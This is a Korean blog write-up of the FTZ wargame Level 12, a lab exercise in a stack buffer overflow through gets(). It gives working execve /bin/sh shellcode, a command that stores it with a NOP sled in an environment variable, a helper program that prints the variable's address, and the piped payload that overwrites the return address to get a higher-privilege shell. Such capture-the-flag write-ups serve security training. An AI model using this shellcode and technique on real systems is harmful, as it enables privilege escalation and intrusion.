FTZ Level 12

bin3635·2021년 8월 10일
0

hint는 다음과 같다.

문자열을 프로그램 실행 인자에서 가져오던 것이 gets 함수로 바뀐 것을 빼면 Level 11과 별다른 점이 없다.

소스 코드를 다시 컴파일하고 gdb로 뜯어 보았다.

<main+0>, <main+1>에서 스택의 기본 프레임을 만들고 <main+3>에서 0x108(264바이트)만큼의 공간을 할당하는 것을 볼 수 있다.

Level 11과 배열 길이가 같기 때문에 스택 구조는 같다.
str이 256바이트, dummy가 8바이트, SFP와 RET이 각각 4바이트씩을 차지한다.

RET을 이용해 공격해야 하기 때문에 Level 11과 같은 방법으로 환경 변수를 이용할 것이다.

다음은 Level 11에서 사용한 25바이트 쉘코드이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

적당한 양의 NOP 값과 함께 다음 명령어를 이용해 SHL이라는 환경 변수에 저장한다.

export SHL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

환경 변수의 주소를 알아내기 위해 다음과 같은 프로그램을 사용한다.

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("address: %p\n", getenv("SHL"));
    return 0;
}

환경 변수의 주소가 바뀔 가능성을 감안해 5번 정도 실행하니, 주소가 0xbfffff6e라는 것을 알아냈다.

Level 11과는 공격할 때의 문자열 입력 방식이 다르기 때문에 다음과 같이 공격한다.

(python -c 'print "A"*268+"\x6e\xff\xff\xbf"'; cat) | ./attackme

여기서 |(파이프)를 쓰는 이유는, |가 복수의 명령어를 연결함과 동시에 오른쪽 명령어를 먼저 실행하고 왼쪽의 명령어 출력을 오른쪽 명령어의 표준 입력으로 전달하기 때문이다. grep을 통해 원하는 내용만 찾을 때도 사용한다. |는 ;(세미콜론)과 비슷하지만 세미콜론은 표준 입력 전달 기능이 없다.

공격 후 아무 것도 표시되지 않는데, 당황하지 말고 id를 입력하면 Level 13의 쉘을 얻은 것을 알 수 있다.

0개의 댓글